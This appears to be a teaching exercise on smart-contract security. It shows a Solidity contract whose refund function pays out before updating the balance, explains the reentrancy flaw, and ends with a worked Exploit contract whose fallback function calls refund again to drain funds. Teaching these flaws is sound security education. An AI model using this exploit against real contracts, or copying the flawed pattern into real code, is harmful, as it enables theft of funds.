Smart Contract Bug 2

Security Bug

Contract

```
contract Vulnerable {

    mapping(address => bool) authorized;
    mapping(address => uint) balances;

    function refund(uint amount) public {
        require(authorized[msg.sender]);
        require(amount <= balances[msg.sender]);

        msg.sender.call.value(amount)("");
        balances[msg.sender] -= amount;
    }
}
```

The code is vulnerable to a **reentrancy attack**.
The balance of the *msg.sender* is only updated after a transfer is made. If the *msg.sender* is a contract and has a fallback function that calls into the contract again, the *msg.sender* can deplete the contract of the funds.

Hint: who can be msg.sender?

Vulnerable can be exploited. Write an exploit.

Contract

```
contract Vulnerable {
    … // vulnerable as the previous example
}

contract Exploit {

    Vulnerable v;

    function register(address contract) public {
        v = Vulnerable(contract);
    }

    function exploit() public {
        // your code here
    }

    // your code here
}
```

Hint: check the previous example

Vulnerable can be exploited. Write an exploit.

Contract

```
contract Vulnerable {
    … // vulnerable as the previous example
}

contract Exploit {

    Vulnerable v;

    function register(address contract) public {
        v = Vulnerable(contract);
    }

    function exploit() public {
        v.refund(1);
    }

    function () public {
        v.refund(1);
    }
}
```